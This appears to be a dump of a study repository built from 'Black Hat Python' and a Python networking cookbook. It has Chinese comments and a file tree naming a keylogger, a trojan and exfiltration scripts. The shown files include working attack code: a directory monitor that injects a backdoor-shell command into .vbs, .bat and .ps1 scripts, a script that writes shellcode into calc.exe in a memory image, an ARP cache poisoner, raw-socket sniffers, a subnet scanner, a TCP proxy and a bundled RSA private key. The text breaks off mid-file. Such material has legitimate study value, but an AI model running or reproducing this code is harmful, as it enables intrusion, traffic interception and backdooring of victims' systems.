├── Black Hat Python ├── Chapter 1 │ └── number_converter.py ├── Chapter 10 │ ├── bhp_net.exe │ ├── bhpservice.zip │ ├── file_monitor.py │ └── process_monitor.py ├── Chapter 11 │ ├── DumpIt.zip │ ├── cmeasure.bin │ ├── code_coverage.py │ ├── code_inject.py │ └── grabhashes.py ├── Chapter 2 │ ├── bhp_net.py │ ├── bhp_net_setup.py │ ├── bhp_sshclient.py │ ├── bhp_sshcmd.py │ ├── bhp_sshserver.py │ ├── rforward.py │ ├── tcp_client.py │ ├── tcp_proxy.py │ ├── tcp_server.py │ ├── test_rsa.key │ ├── udp_client.py │ └── udp_server.py ├── Chapter 3 │ ├── scanner.py │ ├── sniffer.py │ ├── sniffer_ip_header_decode.py │ └── sniffer_with_icmp.py ├── Chapter 4 │ ├── arper.py │ ├── haarcascade_frontalface_alt.xml │ ├── mail_sniffer.py │ └── pic_carver.py ├── Chapter 5 │ ├── all.txt │ ├── cain.txt │ ├── content_bruter.py │ ├── joomla_killer.py │ ├── web_app_mapper.py │ └── web_request.py ├── Chapter 6 │ ├── bhp_bing.py │ ├── bhp_fuzzer.py │ ├── bhp_wordlist.py │ └── jython-standalone-2.7.0.jar ├── Chapter 7 │ ├── config │ │ └── abc.json │ ├── data │ │ └── abc │ │ │ ├── 1390.data │ │ │ └── 8711.data │ ├── git_trojan.py │ └── modules │ │ ├── dirlister.py │ │ └── environment.py ├── Chapter 8 │ ├── generate_shellcode.py │ ├── keylogger.py │ ├── sandbox_detect.py │ ├── screenshotter.py │ └── shell_exec.py └── Chapter 9 │ ├── cred_server.py │ ├── decryptor.py │ ├── ie_exfil.py │ ├── keygen.py │ └── mitb.py ├── Python Network Programming Cookbook ├── Chapter 1 │ ├── echo_client.py │ ├── echo_server.py │ ├── find_service_name.py │ ├── integer_conversion.py │ ├── ipv4_address_conversion.py │ ├── local_machine_info.py │ ├── modify_buff_size.py │ ├── print_machine_time.py │ ├── remote_machine_info.py │ ├── reuse_socket_address.py │ ├── sntp_client.py │ ├── socket_errors.py │ ├── socket_modes.py │ └── socket_timeout.py ├── Chapter 2 │ ├── chat_server_with_select.py │ ├── echo_server_with_diesel.py │ ├── forking_mixin_socket_server.py │ ├── simple_web_server_with_epoll.py │ └── threading_mixin_socket_server.py ├── Chapter 3 │ ├── check_ipv6_support.py │ ├── detect_inactive_machine.py │ ├── extract_ipv6_prefix.py │ ├── find_network_interface_status.py │ ├── get_interface_ip_address.py │ ├── ipc_using_socketpairs.py │ ├── ipv6_echo_client.py │ ├── ipv6_echo_server.py │ ├── list_network_interfaces.py │ ├── ping_remote_host.py │ ├── port_forwarding.py │ ├── unix_domain_socket_client.py │ ├── unix_domain_socket_server.py │ └── wait_for_remote_service.py ├── Chapter 4 │ ├── checking_webpage_with_head_request.py │ ├── download_data.py │ ├── extract_cookie_information.py │ ├── http_compression.py │ ├── http_fail_over_client.py │ ├── https_server.py │ ├── proxy_web_request.py │ ├── simple_http_server.py │ ├── spoof_mozilla_firefox_in_client_code.py │ └── submit_web_form.py ├── Chapter 5 │ ├── cgi-bin │ │ └── get_feedback.py │ ├── cgi_server.py │ ├── check_remote_email_via_imap.py │ ├── download_google_email_via_pop3.py │ ├── email_current_dir_zipped.py │ ├── list_files_on_ftp_server.py │ ├── send_email_from_gmail.py │ ├── send_feedback.html │ └── upload_file_to_ftp_server.py ├── Chapter 6 │ ├── geo_coding_by_google_maps.py │ ├── google_stock_quote.py │ ├── python_link_crawler.py │ ├── read_bbc_news_feed.py │ ├── search_article_in_wikipedia.py │ ├── search_business_addr.py │ └── search_code_github.py ├── Chapter 7 │ ├── configure_apache_for_hosting_website_remotely.py │ ├── copy_remote_file_over_sftp.py │ ├── execute_remote_telnet_cmd.py │ ├── index.html │ ├── install_python_package_remotely.py │ ├── print_remote_cpu_info.py │ ├── run_mysql_command_remotely.py │ ├── transfer_file_over_ssh.py │ └── vhost.conf ├── Chapter 8 │ ├── get_flickr_photo_info.py │ ├── local_settings.py │ ├── multithreaded_multicall_xmlrpc_server.py │ ├── query_supervisord_xmlrpc_server.py │ ├── search_amazon_for_books.py │ ├── search_amazonaws_with_soap.py │ ├── search_products_from_google.py │ ├── supervisord.conf │ ├── xmlrpc_client.py │ └── xmlrpc_server_with_http_auth.py └── Chapter 9 │ ├── add_an_extra_header_in_http_packet.py │ ├── broadcast_scanning.py │ ├── modify_ip_in_a_packet.py │ ├── packet_sniffer.py │ ├── replay_traffic.py │ ├── save_packets_in_pcap_format.py │ └── scan_port_of_a_remote_host.py └── README.md /Black Hat Python/Chapter 1/number_converter.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 将字符串转换成数字 4 | 5 | def sum(number_one, number_two): 6 | number_one_int = convert_integer(number_one) 7 | number_two_int = convert_integer(number_two) 8 | result = number_one_int + number_two_int 9 | return result 10 | 11 | def convert_integer(number_string): 12 | converted_integer = int(number_string) 13 | return converted_integer 14 | 15 | answer = sum("1", "2") 16 | print answer -------------------------------------------------------------------------------- /Black Hat Python/Chapter 10/bhp_net.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zengqiu/study/9e41a7b7f9b1f45922ed8efa22539472c950e95a/Black Hat Python/Chapter 10/bhp_net.exe -------------------------------------------------------------------------------- /Black Hat Python/Chapter 10/bhpservice.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zengqiu/study/9e41a7b7f9b1f45922ed8efa22539472c950e95a/Black Hat Python/Chapter 10/bhpservice.zip -------------------------------------------------------------------------------- /Black Hat Python/Chapter 10/file_monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 赢得竞争/代码插入 5 | 6 | # Modified example that is originally given here: http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 7 | 8 | import tempfile 9 | import threading 10 | import win32file 11 | import win32con 12 | import os 13 | 14 | # These are the common temp file directories 15 | dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] 16 | 17 | # File modification constants 18 | FILE_CREATED = 1 19 | FILE_DELETED = 2 20 | FILE_MODIFIED = 3 21 | FILE_RENAMED_FROM = 4 22 | FILE_RENAMED_TO = 5 23 | 24 | # Extension based code snippets to inject 25 | # bhp_net.exe 生成方法在 Chapter 2 26 | # python bhp_net_setup.py py2exe 27 | file_types = {} 28 | command = "C:\\WINDOWS\\TEMP\\bhp_net.exe -l -p 9999 -c" 29 | file_types['.vbs'] = ["\r\n'bhpmarker\r\n", "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command] 30 | file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command] 31 | file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command] 32 | 33 | def inject_code(full_filename, extension, contents): 34 | # Is our marker already in the file 35 | if file_types[extension][0] in contents: 36 | return 37 | 38 | # No marker let's inject the marker and code 39 | full_contents = file_types[extension][0] 40 | full_contents += file_types[extension][1] 41 | full_contents += contents 42 | 43 | fd = open(full_filename, "wb") 44 | fd.write(full_contents) 45 | fd.close() 46 | 47 | print "[\o/] Injected code." 48 | 49 | return 50 | 51 | def start_monitor(path_to_watch): 52 | # We create a thread for each monitoring run 53 | FILE_LIST_DIRECTORY = 0x0001 54 | 55 | h_directory = win32file.CreateFile( 56 | path_to_watch, 57 | FILE_LIST_DIRECTORY, 58 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, 59 | None, 60 | win32con.OPEN_EXISTING, 61 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 62 | None 63 | ) 64 | 65 | while 1: 66 | try: 67 | results = win32file.ReadDirectoryChangesW( 68 | h_directory, 69 | 1024, 70 | True, 71 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 72 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 73 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 74 | win32con.FILE_NOTIFY_CHANGE_SIZE | 75 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 76 | win32con.FILE_NOTIFY_CHANGE_SECURITY, 77 | None, 78 | None 79 | ) 80 | 81 | for action, file_name in results: 82 | full_filename = os.path.join(path_to_watch, file_name) 83 | 84 | if action == FILE_CREATED: 85 | print "[ + ] Created %s" % full_filename 86 | elif action == FILE_DELETED: 87 | print "[ - ] Deleted %s" % full_filename 88 | elif action == FILE_MODIFIED: 89 | print "[ * ] Modified %s" % full_filename 90 | 91 | # Dump out the file contents 92 | print "[vvv] Dumping contents..." 93 | 94 | try: 95 | fd = open(full_filename, "rb") 96 | contents = fd.read() 97 | fd.close() 98 | print contents 99 | print "[^^^] Dump complete." 100 | except: 101 | print "[!!!] Failed." 102 | 103 | filename, extension = os.path.splitext(full_filename) 104 | 105 | if extension in file_types: 106 | inject_code(full_filename, extension, contents) 107 | 108 | elif action == FILE_RENAMED_FROM: 109 | print "[ > ] Renamed from: %s" % full_filename 110 | elif action == FILE_RENAMED_TO: 111 | print "[ < ] Renamed to: %s" % full_filename 112 | else: 113 | print "[???] Unknown: %s" % full_filename 114 | except: 115 | pass 116 | 117 | for path in dirs_to_monitor: 118 | monitor_thread = threading.Thread(target=start_monitor, args=(path,)) 119 | print "Spawning monitoring thread for path: %s" % path 120 | monitor_thread.start() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 10/process_monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 利用 WMI 监视进程/Windows 系统的令牌权限 5 | 6 | import win32con 7 | import win32api 8 | import win32security 9 | 10 | import wmi 11 | import sys 12 | import os 13 | 14 | LOG_FILE = "process_monitor_log.csv" 15 | 16 | def get_process_privileges(pid): 17 | try: 18 | # Obtain a handle to the target process 19 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid) 20 | 21 | # Open the main process token 22 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 23 | 24 | # Retrieve the list of privileges enabled 25 | privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges) 26 | 27 | # Iterate over privileges and output the ones that are enabled 28 | priv_list = [] 29 | for priv_id, priv_flags in privs: 30 | # Check if the privilege is enabled 31 | if priv_flags == 3: 32 | priv_list.append(win32security.LookupPrivilegeName(None, priv_id)) 33 | except: 34 | priv_list.append("N/A") 35 | 36 | return "|".join(priv_list) 37 | 38 | def log_to_file(message): 39 | fd = open(LOG_FILE, "ab") 40 | fd.write("%s\r\n" % message) 41 | fd.close() 42 | 43 | return 44 | 45 | # Create a log file header 46 | if not os.path.isfile(LOG_FILE): 47 | log_to_file("Time, User, Executable, CommandLine, PID, ParentPID, Privileges") 48 | 49 | # Instantiate the WMI interface 50 | c = wmi.WMI() 51 | 52 | # Create our process monitor 53 | process_watcher = c.Win32_Process.watch_for("creation") 54 | 55 | while True: 56 | try: 57 | new_process = process_watcher() 58 | 59 | proc_owner = new_process.GetOwner() 60 | proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2]) 61 | create_date = new_process.CreationDate 62 | executable = new_process.ExecutablePath 63 | cmdline = new_process.CommandLine 64 | pid = new_process.ProcessId 65 | parent_pid = new_process.ParentProcessId 66 | privileges = get_process_privileges(pid) 67 | 68 | process_log_message = "%s, %s, %s, %s, %s, %s, %s" % (create_date, proc_owner, executable, cmdline, pid, parent_pid, privileges) 69 | 70 | print "%s\r\n" % process_log_message 71 | log_to_file(process_log_message) 72 | except: 73 | pass -------------------------------------------------------------------------------- /Black Hat Python/Chapter 11/DumpIt.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zengqiu/study/9e41a7b7f9b1f45922ed8efa22539472c950e95a/Black Hat Python/Chapter 11/DumpIt.zip -------------------------------------------------------------------------------- /Black Hat Python/Chapter 11/cmeasure.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zengqiu/study/9e41a7b7f9b1f45922ed8efa22539472c950e95a/Black Hat Python/Chapter 11/cmeasure.bin -------------------------------------------------------------------------------- /Black Hat Python/Chapter 11/code_coverage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Immunity Debugger PyCommands 5 | 6 | # %SystemRoot%\system32\calc.exe 7 | 8 | from immlib import * 9 | 10 | class cc_hook(LogBpHook): 11 | def __init__(self): 12 | LogBpHook.__init__(self) 13 | self.imm = Debugger() 14 | 15 | def run(self,regs): 16 | self.imm.log("%08x" % regs['EIP'], regs['EIP']) 17 | self.imm.deleteBreakpoint(regs['EIP']) 18 | 19 | return 20 | 21 | def main(args): 22 | imm = Debugger() 23 | 24 | calc = imm.getModule("calc.exe") 25 | imm.analyseCode(calc.getCodebase()) 26 | 27 | functions = imm.getAllFunctions(calc.getCodebase()) 28 | 29 | hooker = cc_hook() 30 | 31 | for function in functions: 32 | hooker.add("%08x" % function, function) 33 | 34 | return "Tracking %d functions." % len(functions) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 11/code_inject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 直接代码注入 5 | 6 | import sys 7 | import struct 8 | 9 | equals_button = 0x01005A7A 10 | 11 | memory_file = "E:\\VMWare\\WindowsXPSP2.vmem" 12 | slack_space = None 13 | trampoline_offset = None 14 | 15 | # Read in our shellcode 16 | sc_fd = open("cmeasure.bin", "rb") 17 | sc = sc_fd.read() 18 | sc_fd.close() 19 | 20 | sys.path.append("E:\\volatility-master") 21 | 22 | import volatility.conf as conf 23 | import volatility.registry as registry 24 | 25 | registry.PluginImporter() 26 | config = conf.ConfObject() 27 | 28 | import volatility.commands as commands 29 | import volatility.addrspace as addrspace 30 | 31 | registry.register_global_options(config, commands.Command) 32 | registry.register_global_options(config, addrspace.BaseAddressSpace) 33 | 34 | config.parse_options() 35 | config.PROFILE = "WinXPSP2x86" 36 | config.LOCATION = "file://%s" % memory_file 37 | 38 | import volatility.plugins.taskmods as taskmods 39 | 40 | p = taskmods.PSList(config) 41 | 42 | for process in p.calculate(): 43 | if str(process.ImageFileName) == "calc.exe": 44 | print "[*] Found calc.exe with PID %d" % process.UniqueProcessId 45 | print "[*] Hunting for physical offsets...please wait." 46 | 47 | address_space = process.get_process_address_space() 48 | pages = address_space.get_available_pages() 49 | 50 | for page in pages: 51 | physical = address_space.vtop(page[0]) 52 | 53 | if physical is not None: 54 | if slack_space is None: 55 | fd = open(memory_file, "r+") 56 | fd.seek(physical) 57 | buf = fd.read(page[1]) 58 | 59 | try: 60 | offset = buf.index("\x00" * len(sc)) 61 | slack_space = page[0] + offset 62 | 63 | print "[*] Found good shellcode location!" 64 | print "[*] Virtual address: 0x%08x" % slack_space 65 | print "[*] Physical address: 0x%08x" % (physical + offset) 66 | print "[*] Injecting shellcode." 67 | 68 | fd.seek(physical + offset) 69 | fd.write(sc) 70 | fd.flush() 71 | 72 | # Create our trampoline 73 | tramp = "\xbb%s" % struct.pack("] Received %d bytes from localhost." % len(local_buffer) 72 | hexdump(local_buffer) 73 | local_buffer = request_handler(local_buffer) # Send it to our request handler 74 | remote_socket.send(local_buffer) # Send off the data to the remote host 75 | print "[==>] Sent to remote." 76 | 77 | remote_buffer = receive_from(remote_socket) # Receive back the response 78 | 79 | if len(remote_buffer): 80 | print "[<==] Received %d bytes from remote." % len(remote_buffer) 81 | hexdump(remote_buffer) 82 | 83 | # Send to our response handler 84 | remote_buffer = response_handler(remote_buffer) 85 | 86 | # Send the response to the local socket 87 | client_socket.send(remote_buffer) 88 | 89 | print "[<==] Sent to localhost." 90 | 91 | # If no more data on either side close the connections 92 | if not len(local_buffer) or not len(remote_buffer): 93 | client_socket.close() 94 | remote_socket.close() 95 | print "[*] No more data. Closing connections." 96 | 97 | break 98 | 99 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first): 100 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | 102 | try: 103 | server.bind((local_host, local_port)) 104 | except: 105 | print "[!!] Failed to listen on %s:%d" % (local_host, local_port) 106 | print "[!!] Check for other listening sockets or correct permissions." 107 | sys.exit(0) 108 | 109 | print "[*] Listening on %s:%d" % (local_host, local_port) 110 | 111 | server.listen(5) 112 | 113 | while True: 114 | client_socket, addr = server.accept() 115 | # Print out the local connection information 116 | print "[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]) 117 | # Start a thread to talk to the remote host 118 | proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first)) 119 | proxy_thread.start() 120 | 121 | def main(): 122 | # No fancy command line parsing here 123 | if len(sys.argv[1:]) != 5: 124 | print "Usage: ./tcp_proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]" 125 | print "Example: ./tcp_proxy.py 127.0.0.1 9000 10.12.132.1 9000 True" 126 | sys.exit(0) 127 | 128 | # Setup local listening parameters 129 | local_host = sys.argv[1] 130 | local_port = int(sys.argv[2]) 131 | 132 | # Setup remote target 133 | remote_host = sys.argv[3] 134 | remote_port = int(sys.argv[4]) 135 | 136 | # This tells our proxy to connect and receive data before sending to the remote host 137 | receive_first = sys.argv[5] 138 | 139 | if "True" in receive_first: 140 | receive_first = True 141 | else: 142 | receive_first = False 143 | 144 | # Now spin up our listening socket 145 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 146 | 147 | main() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 2/tcp_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # TCP 服务器 4 | 5 | import socket 6 | import threading 7 | 8 | bind_ip = '0.0.0.0' 9 | bind_port = 9999 10 | 11 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | server.bind((bind_ip, bind_port)) 13 | server.listen(5) 14 | print "[*] Listening on %s:%d" % (bind_ip, bind_port) 15 | 16 | # 这是客户处理线程 17 | def handle_client(client_socket): 18 | # 打印出客户端发送得到内容 19 | request = client_socket.recv(1024) 20 | print "[*] Received: %s" % request 21 | # 返还一个数据包 22 | client_socket.send("ACK!") 23 | client_socket.close() 24 | 25 | while True: 26 | client, addr = server.accept() 27 | print "[*] Accept connection from: %s:%d" % (addr[0], addr[1]) 28 | # 挂起客户端线程并处理传入的数据 29 | client_handler = threading.Thread(target=handle_client, args=(client,)) 30 | client_handler.start() -------------------------------------------------------------------------------- /Black Hat Python/Chapter 2/test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /Black Hat Python/Chapter 2/udp_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # UDP 客户端 4 | 5 | import socket 6 | 7 | target_host = '127.0.0.1' 8 | target_port = 9999 9 | 10 | # 建立一个 socket 对象 11 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 12 | # 发送一些数据 13 | client.sendto("AAABBBCCC", (target_host, target_port)) 14 | # 接收一些数据 15 | data, addr = client.recvfrom(4096) 16 | print data -------------------------------------------------------------------------------- /Black Hat Python/Chapter 2/udp_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # UDP 服务器 4 | 5 | import socket 6 | import threading 7 | 8 | bind_ip = '0.0.0.0' 9 | bind_port = 9999 10 | 11 | server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 12 | server.bind((bind_ip, bind_port)) 13 | print "[*] Listening on %s:%d" % (bind_ip, bind_port) 14 | 15 | while True: 16 | # 打印出客户端发送得到内容 17 | data, addr = server.recvfrom(4096) 18 | print "[*] Received: %s" % data 19 | # 返还一个数据包 20 | server.sendto("OK!", addr) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 3/scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 活动主机扫描器 5 | 6 | import socket 7 | import os 8 | import struct 9 | import threading 10 | 11 | from netaddr import IPNetwork,IPAddress 12 | from ctypes import * 13 | 14 | # Host to listen on 15 | host = "192.168.1.222" 16 | 17 | # Subnet to target 18 | subnet = "192.168.1.0/24" 19 | 20 | # Magic we'll check ICMP responses for 21 | magic_message = "PYTHONRULES!" 22 | 23 | def udp_sender(subnet,magic_message): 24 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 25 | 26 | for ip in IPNetwork(subnet): 27 | try: 28 | sender.sendto(magic_message,("%s" % ip, 65212)) 29 | except: 30 | pass 31 | 32 | class IP(Structure): 33 | _fields_ = [ 34 | ("ihl", c_ubyte, 4), 35 | ("version", c_ubyte, 4), 36 | ("tos", c_ubyte), 37 | ("len", c_ushort), 38 | ("id", c_ushort), 39 | ("offset", c_ushort), 40 | ("ttl", c_ubyte), 41 | ("protocol_num", c_ubyte), 42 | ("sum", c_ushort), 43 | # ("src", c_ulong), 44 | # ("dst", c_ulong) 45 | ("src", c_uint32), 46 | ("dst", c_uint32) 47 | ] 48 | 49 | def __new__(self, socket_buffer=None): 50 | return self.from_buffer_copy(socket_buffer) 51 | 52 | def __init__(self, socket_buffer=None): 53 | # Map protocol constants to their names 54 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 55 | 56 | # Human readable IP addresses 57 | # self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 120 | 121 | # If it's ICMP we want it 122 | if ip_header.protocol == "ICMP": 123 | # Calculate where our ICMP packet starts 124 | offset = ip_header.ihl * 4 125 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 126 | 127 | # Create our ICMP structure 128 | icmp_header = ICMP(buf) 129 | 130 | # print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code) 131 | 132 | # Now check for the TYPE 3 and CODE 3 which indicates a host is up but no port available to talk to 133 | if icmp_header.code == 3 and icmp_header.type == 3: 134 | # Check to make sure we are receiving the response that lands in our subnet 135 | if IPAddress(ip_header.src_address) in IPNetwork(subnet): 136 | # Test for our magic message 137 | if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message: 138 | print "Host Up: %s" % ip_header.src_address 139 | # Handle CTRL-C 140 | except KeyboardInterrupt: 141 | # If we're on Windows turn off promiscuous mode 142 | if os.name == "nt": 143 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 3/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Windows 和 Linux 上的包嗅探 5 | 6 | import socket 7 | import os 8 | 9 | # Host to listen on 10 | host = "192.168.1.222" 11 | 12 | # Create a raw socket and bind it to the public interface 13 | if os.name == "nt": 14 | socket_protocol = socket.IPPROTO_IP 15 | else: 16 | socket_protocol = socket.IPPROTO_ICMP 17 | 18 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 19 | 20 | sniffer.bind((host, 0)) 21 | 22 | # We want the IP headers included in the capture 23 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 24 | 25 | # If we're on Windows we need to send an IOCTL to setup promiscuous mode 26 | if os.name == "nt": 27 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 28 | 29 | # Read in a single packet 30 | print sniffer.recvfrom(65565) 31 | 32 | # If we're on Windows turn off promiscuous mode 33 | if os.name == "nt": 34 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 3/sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 解码 IP 层 5 | 6 | import socket 7 | import os 8 | import struct 9 | from ctypes import * 10 | 11 | # Host to listen on 12 | host = "10.0.2.15" 13 | 14 | class IP(Structure): 15 | _fields_ = [ 16 | ("ihl", c_ubyte, 4), 17 | ("version", c_ubyte, 4), 18 | ("tos", c_ubyte), 19 | ("len", c_ushort), 20 | ("id", c_ushort), 21 | ("offset", c_ushort), 22 | ("ttl", c_ubyte), 23 | ("protocol_num", c_ubyte), 24 | ("sum", c_ushort), 25 | # ("src", c_ulong), 26 | # ("dst", c_ulong) 27 | ("src", c_uint32), 28 | ("dst", c_uint32) 29 | ] 30 | 31 | def __new__(self, socket_buffer=None): 32 | return self.from_buffer_copy(socket_buffer) 33 | 34 | def __init__(self, socket_buffer=None): 35 | # Map protocol constants to their names 36 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 37 | 38 | # Human readable IP addresses 39 | # self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 83 | 84 | except KeyboardInterrupt: 85 | # If we're on Windows turn off promiscuous mode 86 | if os.name == "nt": 87 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 3/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 解码 ICMP 5 | 6 | import socket 7 | import os 8 | import struct 9 | import threading 10 | from ctypes import * 11 | 12 | # Host to listen on 13 | host = "192.168.1.222" 14 | 15 | class IP(Structure): 16 | _fields_ = [ 17 | ("ihl", c_ubyte, 4), 18 | ("version", c_ubyte, 4), 19 | ("tos", c_ubyte), 20 | ("len", c_ushort), 21 | ("id", c_ushort), 22 | ("offset", c_ushort), 23 | ("ttl", c_ubyte), 24 | ("protocol_num", c_ubyte), 25 | ("sum", c_ushort), 26 | # ("src", c_ulong), 27 | # ("dst", c_ulong) 28 | ("src", c_uint32), 29 | ("dst", c_uint32) 30 | ] 31 | 32 | def __new__(self, socket_buffer=None): 33 | return self.from_buffer_copy(socket_buffer) 34 | 35 | def __init__(self, socket_buffer=None): 36 | # Map protocol constants to their names 37 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 38 | 39 | # Human readable IP addresses 40 | # self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 99 | 100 | # If it's ICMP we want it 101 | if ip_header.protocol == "ICMP": 102 | # Calculate where our ICMP packet starts 103 | offset = ip_header.ihl * 4 104 | buf = raw_buffer[offset:offset+sizeof(ICMP)] 105 | 106 | # Create our ICMP structure 107 | icmp_header = ICMP(buf) 108 | 109 | print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code) 110 | # Handle CTRL-C 111 | except KeyboardInterrupt: 112 | # If we're on Windows turn off promiscuous mode 113 | if os.name == "nt": 114 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Black Hat Python/Chapter 4/arper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 利用 Scapy 进行 ARP 缓存投毒 5 | 6 | from scapy.all import * 7 | import os 8 | import sys 9 | import threading 10 | import signal 11 | 12 | interface = "enp0s3" 13 | target_ip = "192.168.1.111" 14 | gateway_ip = "192.168.1.1" 15 | packet_count = 1000 16 | poisoning = True 17 | 18 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 19 | # Slightly different method using send 20 | print "[*] Restoring target..." 21 | send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) 22 | send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) 23 | 24 | # Signals the main thread to exit 25 | os.kill(os.getpid(), signal.SIGINT) 26 | 27 | def get_mac(ip_address): 28 | responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) 29 | 30 | # 